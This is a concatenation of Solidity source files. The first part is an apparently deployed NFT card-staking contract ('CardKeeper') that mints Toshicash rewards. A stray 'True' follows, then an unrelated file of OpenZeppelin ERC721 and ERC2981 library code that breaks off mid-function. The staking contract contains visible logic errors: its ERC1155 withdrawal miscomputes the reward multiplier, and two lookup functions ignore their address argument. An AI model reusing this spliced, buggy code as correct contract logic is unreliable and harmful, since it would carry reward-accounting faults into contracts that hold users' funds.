*/ contract CardKeeper is Ownable { using SafeMath for uint256; struct CardSet { uint256[] cardIds; uint256 toshicashPerDayPerCard; } RMU public ropeMaker; Toshicash public toshicash; uint256[] public cardSetList; uint256 public highestCardId; mapping (uint256 => CardSet) public cardSets; mapping (uint256 => uint256) public cardToSetMap; mapping (address => mapping(uint256 => uint256)) public userCards; mapping (address => uint256) public userLastUpdate; mapping(uint256 => mapping(address => UserInfoERC1155)) public userInfoERC1155; mapping(uint256 => uint256) public eRC1155MultiplierIds; mapping(address => ERC1155MultiplierUserInfo) public userMultiplier; event Stake(address indexed user, uint256[] cardIds, uint256[] amounts); event Unstake(address indexed user, uint256[] cardIds, uint256[] amounts); event Harvest(address indexed user, uint256 amount); struct UserInfoERC1155 { uint256 amountInPool; /* * At any point in time, the amount of ToshiCoin earned by a user waiting to be claimed is: * * Pending claim = (user.amountInPool * pool.coinsEarnedPerToken) - user.coinsReceivedToDate * * Whenever a user deposits or withdraws tokens to a pool, the following occurs: * 1. The pool's `coinsEarnedPerToken` is rebalanced to account for the new shares in the pool. * 2. The `lastRewardBlock` is updated to the latest block. * 3. The user receives the pending claim sent to their address. * 4. The user's `amountInPool` and `coinsReceivedToDate` get updated for this pool. */ } struct ERC1155Multiplier { uint256 id; uint256 percentBoost; } struct ERC1155MultiplierUserInfo { uint256 multiplier; uint256 total; } ERC1155Multiplier[] public eRC1155Multiplier; constructor(RMU _ropeMakerAddr, Toshicash _toshicashAddr) public { ropeMaker = _ropeMakerAddr; toshicash = _toshicashAddr; } // Utility function to check if a value is inside an array function _isInArray(uint256 _value, uint256[] memory _array) internal pure returns(bool) { uint256 length = _array.length; for (uint256 i = 0; i < length; ++i) { if (_array[i] == _value) { return true; } } return false; } // Index of the value in the return array is the cardId, value is whether card is staked or not function getCardsStakedOfAddress(address _user) public view returns(uint256[] memory) { uint256[] memory cardsStaked = new uint256[](highestCardId + 1); for (uint256 i = 0; i < highestCardId + 1; ++i) { cardsStaked[i] = userCards[_user][i]; } return cardsStaked; } // Returns the list of cardIds which are part of a set function getCardIdListOfSet(uint256 _setId) external view returns(uint256[] memory) { return cardSets[_setId].cardIds; } function addCardSet(uint256 _setId, uint256[] memory _cardIds, uint256 _toshicashPerDayPerCard) public onlyOwner { uint256 length = _cardIds.length; for (uint256 i = 0; i < length; ++i) { uint256 cardId = _cardIds[i]; if (cardId > highestCardId) { highestCardId = cardId; } // Check all cards to assign arent already part of another set require(cardToSetMap[cardId] == 0, "Card already assigned to a set"); // Assign to set cardToSetMap[cardId] = _setId; } if (_isInArray(_setId, cardSetList) == false) { cardSetList.push(_setId); } cardSets[_setId] = CardSet({ cardIds: _cardIds, toshicashPerDayPerCard: _toshicashPerDayPerCard }); } // Returns the total toshicash pending for a given address // Can include the bonus from toshicashBooster or not function totalPendingToshicashOfAddress(address _user, bool _includeToshicashBooster) public view returns (uint256) { uint256 totalToshicashPerDay = 0; uint256 length = cardSetList.length; for (uint256 i = 0; i < length; ++i) { uint256 setId = cardSetList[i]; CardSet storage set = cardSets[setId]; uint256 cardLength = set.cardIds.length; uint256 setToshicashPerDay = 0; for (uint256 j = 0; j < cardLength; ++j) { setToshicashPerDay = setToshicashPerDay.add(set.toshicashPerDayPerCard.mul(userCards[_user][set.cardIds[j]])); } totalToshicashPerDay = totalToshicashPerDay.add(setToshicashPerDay); } // Apply toshicashBooster bonus if (_includeToshicashBooster) { uint256 toAdd = 0; totalToshicashPerDay = totalToshicashPerDay.add(toAdd); } uint256 lastUpdate = userLastUpdate[_user]; uint256 blockTime = block.timestamp; return blockTime.sub(lastUpdate).mul(totalToshicashPerDay.div(86400)); } ////////////////////////////// ////////////////////////////// ////////////////////////////// // Set manually the highestCardId, in case there has been a mistake while adding a set // (This value is used to know the range in which iterate to get the list of staked cards for an address) function setHighestCardId(uint256 _highestId) public onlyOwner { require(_highestId > 0); highestCardId = _highestId; } // Set the toshicashPerDayPerCard value for a list of sets function setToshicashRateOfSets(uint256[] memory _setIds, uint256[] memory _toshicashPerDayPerCard) public onlyOwner { require(_setIds.length == _toshicashPerDayPerCard.length, "_setId and _toshicashPerDayPerCard have different length"); for (uint256 i = 0; i < _setIds.length; ++i) { require(cardSets[_setIds[i]].cardIds.length > 0, "Set is empty"); cardSets[_setIds[i]].toshicashPerDayPerCard = _toshicashPerDayPerCard[i]; } } function harvest() public { ERC1155MultiplierUserInfo storage multiplier = userMultiplier[msg.sender]; uint256 pendingToshicash = totalPendingToshicashOfAddress(msg.sender, true); userLastUpdate[msg.sender] = block.timestamp; pendingToshicash = pendingToshicash.add( pendingToshicash.mul(multiplier.multiplier).div( 100)); if (pendingToshicash > 0) { toshicash.mint(msg.sender, pendingToshicash); } emit Harvest(msg.sender, pendingToshicash); } function stake(uint256[] memory _cardIds, uint256[] memory _cardAmounts) public { require(_cardIds.length > 0, "_cardIds array empty"); harvest(); for (uint256 i = 0; i < _cardIds.length; ++i) { require(cardToSetMap[_cardIds[i]] != 0, "Card is not part of any set"); } ropeMaker.mintBatch(address(this), _cardIds, _cardAmounts); for (uint256 i = 0; i < _cardIds.length; ++i) { userCards[msg.sender][_cardIds[i]] = userCards[msg.sender][_cardIds[i]].add(_cardAmounts[i]); ropeMaker.burn(msg.sender, _cardIds[i], _cardAmounts[i]); } emit Stake(msg.sender, _cardIds, _cardAmounts); } function unstake(uint256[] memory _cardIds, uint256[] memory _cardAmounts) public { require(_cardIds.length > 0, "_cardIds array empty"); harvest(); for (uint256 i = 0; i < _cardIds.length; ++i) { require(userCards[msg.sender][_cardIds[i]] >= _cardAmounts[i], "Card not staked"); userCards[msg.sender][_cardIds[i]] = userCards[msg.sender][_cardIds[i]].sub(_cardAmounts[i]); ropeMaker.burn(address(this), _cardIds[i], _cardAmounts[i]); } ropeMaker.mintBatch(msg.sender, _cardIds, _cardAmounts); emit Unstake(msg.sender, _cardIds, _cardAmounts); } // Withdraw without rewards function emergencyUnstake(uint256[] memory _cardIds, uint256[] memory _cardAmounts) public { userLastUpdate[msg.sender] = block.timestamp; uint256 length = _cardIds.length; for (uint256 i = 0; i < length; ++i) { uint256 cardId = _cardIds[i]; require(userCards[msg.sender][cardId] >= _cardAmounts[i], "Card not staked"); userCards[msg.sender][cardId] = userCards[msg.sender][cardId].sub(_cardAmounts[i]); } ropeMaker.safeBatchTransferFrom(address(this), msg.sender, _cardIds, _cardAmounts, ""); } function userMultiplierValue(address user) public view returns (uint256) { return userMultiplier[msg.sender].multiplier; } function userERC155StakedTotal(address user) public view returns (uint256) { return userMultiplier[msg.sender].total; } function addERC1155Multiplier(uint256 _id, uint256 _percentBoost) public onlyOwner { require( eRC1155MultiplierIds[_id] == 0, "ToshiCashFarm: Cannot add duplicate Toshimon ERC1155" ); eRC1155Multiplier.push( ERC1155Multiplier({ id:_id, percentBoost: _percentBoost }) ); eRC1155MultiplierIds[_id] = 1; } /** * @dev Deposit tokens into a pool and claim pending reward. */ function depositERC1155(uint256 poolId, uint256 quantity) public { ERC1155Multiplier storage erc1155 = eRC1155Multiplier[poolId]; UserInfoERC1155 storage user = userInfoERC1155[poolId][msg.sender]; ERC1155MultiplierUserInfo storage multiplier = userMultiplier[msg.sender]; uint256[] memory cardid = new uint256[](1); uint256[] memory cardamount = new uint256[](1); cardid[0] = erc1155.id; cardamount[0] = quantity; harvest(); ropeMaker.burn(msg.sender, erc1155.id, quantity); ropeMaker.mintBatch(address(this), cardid, cardamount); user.amountInPool = user.amountInPool.add(quantity); multiplier.multiplier = multiplier.multiplier.add(erc1155.percentBoost.mul(quantity)); multiplier.total = multiplier.total.add(erc1155.percentBoost.mul(quantity)); if(multiplier.multiplier > 100){ multiplier.multiplier = 100; } } /** * @dev Deposit tokens into a pool and claim pending reward. */ function withdrawERC1155(uint256 poolId, uint256 quantity) public { ERC1155Multiplier storage erc1155 = eRC1155Multiplier[poolId]; UserInfoERC1155 storage user = userInfoERC1155[poolId][msg.sender]; ERC1155MultiplierUserInfo storage multiplier = userMultiplier[msg.sender]; require( user.amountInPool >= quantity, "ToshiCoinFarm: User does not have enough NFTS to withdraw from this pool" ); harvest(); user.amountInPool = user.amountInPool.sub(quantity); multiplier.total = multiplier.total.sub(erc1155.percentBoost.mul(quantity)); multiplier.multiplier = multiplier.total.mul(quantity); if(multiplier.multiplier > 100){ multiplier.multiplier = 100; } ropeMaker.burn(address(this), erc1155.id, quantity); uint256[] memory cardid = new uint256[](1); uint256[] memory cardamount = new uint256[](1); cardid[0] = erc1155.id; cardamount[0] = quantity; ropeMaker.mintBatch(msg.sender, cardid, cardamount); } ///////// ///////// ///////// /** * @notice Handle the receipt of a single ERC1155 token type * @dev An ERC1155-compliant smart contract MUST call this function on the token recipient contract, at the end of a `safeTransferFrom` after the balance has been updated * This function MAY throw to revert and reject the transfer * Return of other amount than the magic value MUST result in the transaction being reverted * Note: The token contract address is always the message sender * @param _operator The address which called the `safeTransferFrom` function * @param _from The address which previously owned the token * @param _id The id of the token being transferred * @param _amount The amount of tokens being transferred * @param _data Additional data with no specified format * @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` */ function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _amount, bytes calldata _data) external returns(bytes4) { return 0xf23a6e61; } /** * @notice Handle the receipt of multiple ERC1155 token types * @dev An ERC1155-compliant smart contract MUST call this function on the token recipient contract, at the end of a `safeBatchTransferFrom` after the balances have been updated * This function MAY throw to revert and reject the transfer * Return of other amount than the magic value WILL result in the transaction being reverted * Note: The token contract address is always the message sender * @param _operator The address which called the `safeBatchTransferFrom` function * @param _from The address which previously owned the token * @param _ids An array containing ids of each token being transferred * @param _amounts An array containing amounts of each token being transferred * @param _data Additional data with no specified format * @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` */ function onERC1155BatchReceived(address _operator, address _from, uint256[] calldata _ids, uint256[] calldata _amounts, bytes calldata _data) external returns(bytes4) { return 0xbc197c81; } /** * @notice Indicates whether a contract implements the `ERC1155TokenReceiver` functions and so can accept ERC1155 token types. * @param interfaceID The ERC-165 interface ID that is queried for support.s * @dev This function MUST return true if it implements the ERC1155TokenReceiver interface and ERC-165 interface. * This function MUST NOT consume more than 5,000 gas. * @return Wheter ERC-165 or ERC1155TokenReceiver interfaces are supported. */ function supportsInterface(bytes4 interfaceID) external view returns (bool) { return interfaceID == 0x01ffc9a7 || // ERC-165 support (i.e. `bytes4(keccak256('supportsInterface(bytes4)'))`). interfaceID == 0x4e2312e0; // ERC-1155 `ERC1155TokenReceiver` support (i.e. `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)")) ^ bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`). } }

True

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/** *Submitted for verification at Etherscan.io on 2022-02-23 */ // File: interfaces/IToeken.sol pragma solidity ^0.8.12; interface IToeken { function update(address from, address to) external; } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/interfaces/IERC165.sol // OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol) pragma solidity ^0.8.0; // File: @openzeppelin/contracts/interfaces/IERC2981.sol // OpenZeppelin Contracts (last updated v4.5.0) (interfaces/IERC2981.sol) pragma solidity ^0.8.0; /** * @dev Interface for the NFT Royalty Standard. * * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal * support for royalty payments across all NFT marketplaces and ecosystem participants. * * _Available since v4.5._ */ interface IERC2981 is IERC165 { /** * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of * exchange. The royalty amount is denominated and should be payed in that same unit of exchange. */ function royaltyInfo(uint256 tokenId, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount); } // File: @openzeppelin/contracts/token/common/ERC2981.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/common/ERC2981.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the NFT Royalty Standard, a standardized way to retrieve royalty payment information. * * Royalty information can be specified globally for all token ids via {_setDefaultRoyalty}, and/or individually for * specific token ids via {_setTokenRoyalty}. The latter takes precedence over the first. * * Royalty is specified as a fraction of sale price. {_feeDenominator} is overridable but defaults to 10000, meaning the * fee is specified in basis points by default. * * IMPORTANT: ERC-2981 only specifies a way to signal royalty information and does not enforce its payment. See * https://eips.ethereum.org/EIPS/eip-2981#optional-royalty-payments[Rationale] in the EIP. Marketplaces are expected to * voluntarily pay royalties together with sales, but note that this standard is not yet widely supported. * * _Available since v4.5._ */ abstract contract ERC2981 is IERC2981, ERC165 { struct RoyaltyInfo { address receiver; uint96 royaltyFraction; } RoyaltyInfo private _defaultRoyaltyInfo; mapping(uint256 => RoyaltyInfo) private _tokenRoyaltyInfo; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC165) returns (bool) { return interfaceId == type(IERC2981).interfaceId || super.supportsInterface(interfaceId); } /** * @inheritdoc IERC2981 */ function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view virtual override returns (address, uint256) { RoyaltyInfo memory royalty = _tokenRoyaltyInfo[_tokenId]; if (royalty.receiver == address(0)) { royalty = _defaultRoyaltyInfo; } uint256 royaltyAmount = (_salePrice * royalty.royaltyFraction) / _feeDenominator(); return (royalty.receiver, royaltyAmount); } /** * @dev The denominator with which to interpret the fee set in {_setTokenRoyalty} and {_setDefaultRoyalty} as a * fraction of the sale price. Defaults to 10000 so fees are expressed in basis points, but may be customized by an * override. */ function _feeDenominator() internal pure virtual returns (uint96) { return 10000; } /** * @dev Sets the royalty information that all ids in this contract will default to. * * Requirements: * * - `receiver` cannot be the zero address. * - `feeNumerator` cannot be greater than the fee denominator. */ function _setDefaultRoyalty(address receiver, uint96 feeNumerator) internal virtual { require(feeNumerator <= _feeDenominator(), "ERC2981: royalty fee will exceed salePrice"); require(receiver != address(0), "ERC2981: invalid receiver"); _defaultRoyaltyInfo = RoyaltyInfo(receiver, feeNumerator); } /** * @dev Removes default royalty information. */ function _deleteDefaultRoyalty() internal virtual { delete _defaultRoyaltyInfo; } /** * @dev Sets the royalty information for a specific token id, overriding the global default. * * Requirements: * * - `tokenId` must be already minted. * - `receiver` cannot be the zero address. * - `feeNumerator` cannot be greater than the fee denominator. */ function _setTokenRoyalty( uint256 tokenId, address receiver, uint96 feeNumerator ) internal virtual { require(feeNumerator <= _feeDenominator(), "ERC2981: royalty fee will exceed salePrice"); require(receiver != address(0), "ERC2981: Invalid parameters"); _tokenRoyaltyInfo[tokenId] = RoyaltyInfo(receiver, feeNumerator); } /** * @dev Resets royalty information for the token id back to the global default. */ function _resetTokenRoyalty(uint256 tokenId) internal virtual { delete _tokenRoyaltyInfo[tokenId]; } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return 